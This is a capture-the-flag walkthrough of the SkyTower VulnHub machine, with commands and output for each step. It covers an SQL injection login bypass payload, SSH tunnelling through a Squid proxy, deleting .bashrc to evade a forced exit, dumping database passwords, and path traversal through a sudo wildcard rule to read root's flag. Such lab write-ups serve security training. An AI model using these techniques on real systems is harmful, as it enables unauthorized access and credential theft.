SkyTower: 1

SkyTower is a boot to root virtual machine which is on vulnhub.

Description:

This CTF was designed by Telspace Systems for the CTF at the ITWeb Security Summit and BSidesCPT (Cape Town). The aim is to test intermediate to advanced security enthusiasts in their ability to attack a system using a multi-faceted approach and obtain the "flag".

Identify IP Address of the machine:

```
root@PREDATOR:~/vulnhub/skytower# netdiscover -i vboxnet0 -r 10.0.0.1/24

Currently scanning: Finished!   |   Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 2 hosts.   Total size: 168
_____________________________________________________________________________
  IP            At MAC Address     Count     Len  MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.0.2        08:00:27:1e:39:40      1      42  PCS Systemtechnik GmbH
10.0.0.5        08:00:27:15:4f:ce      3     126  PCS Systemtechnik GmbH
```

Nmap:

```
root@PREDATOR:~/vulnhub/skytower#nmap -A -T4 -p- -oN nmap 10.0.0.5
Nmap scan report for 10.0.0.5
Host is up (0.00035s latency).
Not shown: 65532 closed ports
PORT     STATE    SERVICE    VERSION
22/tcp   filtered ssh
80/tcp   open     http       Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Site doesn't have a title (text/html).
3128/tcp open     http-proxy Squid http proxy 3.1.20
|_http-server-header: squid/3.1.20
|_http-title: ERROR: The requested URL could not be retrieved
MAC Address: 08:00:27:15:4F:CE (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
```

```
OS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.35 ms 10.0.0.5

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Oct  4 12:19:15 2019 -- 1 IP address (1 host up) scanned in 35.54 seconds
```

Enumeration:

Enumerating port 80 we see a login page. On directory bruteforcing we did not find anything usefull other than login.php which we cannot read so we need to get authenticated. First thing in my mind was sql injection so lets try that.

https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)

It looks like certain characters are filtered.
So ‘ or 1=1-- dont work
so our final payload is

```
‘ || 1=1#
```

and we are logged in

```
you must login to the SkyTech server via SSH to access the account details.

Username: john
Password: hereisjohn
```

From nmap we know that port 22 is filtered so we cannot ssh directly but we do have 3128/tcp open http-proxy Squid http proxy 3.1.20
So lets proxy tunneling

```
root@PREDATOR:~/vulnhub/skytower# proxytunnel -p 10.0.0.5:3128 -d 127.0.0.1:22 -a 4455
```

so now our proxy is set lets try ssh

```
root@PREDATOR:~/vulnhub/skytower# ssh john@127.0.0.1 -p 4455
john@127.0.0.1's password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64
```

```
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 20 07:41:08 2014

Funds have been withdrawn
Connection to 127.0.0.1 closed.
```

when we try to connect to ssh our connection gets dropped
so lets bypass this with

```
root@PREDATOR:~/vulnhub/skytower# ssh john@127.0.0.1 -p 4455 "/bin/bash"
john@127.0.0.1's password:
id
uid=1000(john) gid=1000(john) groups=1000(john)
rm .bashrc
exit
root@PREDATOR:~/vulnhub/skytower# ssh john@127.0.0.1 -p 4455
john@127.0.0.1's password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Oct  4 02:52:40 2019 from localhost
john@SkyTower:~$
```

we deleted the .bashrc file because on the last line of .bashrc we see exit function which drops our connection after printing the message fund transfered.

We saw login.php file during directory bruteforcing so lets see whats in it.

```
$db = new mysqli('localhost', 'root', 'root', 'SkyTech');
```

We got mysql credentials, lets dig in deeper into mysql.

```
john@SkyTower:/var/www$ mysql -uroot -proot
```

```
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| SkyTech            |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.00 sec)

mysql> use SkyTech
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+------------------+
| Tables_in_SkyTech |
+------------------+
| login            |
+------------------+
1 row in set (0.00 sec)

mysql> select * from login
    -> ;
+----+---------------------+--------------+
| id | email               | password     |
+----+---------------------+--------------+
|  1 | john@skytech.com    | hereisjohn   |
|  2 | sara@skytech.com    | ihatethisjob |
|  3 | william@skytech.com | senseable    |
+----+---------------------+--------------+
3 rows in set (0.00 sec)
```

We got credentials of other users.
We cannot log in to user william using the password given but we can ssh sara using the credentials.
When we ssh sara we have to bypass the exit function once again so lets do the same thing and we get sara user

```
root@PREDATOR:~/vulnhub/skytower# ssh sara@127.0.0.1 -p 4455 /bin/bash
sara@127.0.0.1's password:
id
uid=1001(sara) gid=1001(sara) groups=1001(sara)
rm .bashrc
exit
```

```
root@PREDATOR:~/vulnhub/skytower# ssh sara@127.0.0.1 -p 4455
sara@127.0.0.1's password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Oct  4 03:01:51 2019 from localhost
sara@SkyTower:~$ sudo -l
Matching Defaults entries for sara on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sara may run the following commands on this host:
    (root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*
sara@SkyTower:~$
```

so we can run cat *accounts** and ls *accounts** as sudo

```
sara@SkyTower:~$ sudo /bin/ls /accounts/../../../root/
flag.txt
sara@SkyTower:~$ sudo /bin/cat /accounts/../../../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower
sara@SkyTower:~$
```

so now we have root password

```
root@PREDATOR:~/vulnhub/skytower# ssh root@127.0.0.1 -p 4455
root@127.0.0.1's password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Oct  4 03:04:33 2019 from localhost
root@SkyTower:~# id
uid=0(root) gid=0(root) groups=0(root)
root@SkyTower:~# cat flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower
```

BOOM!!!!!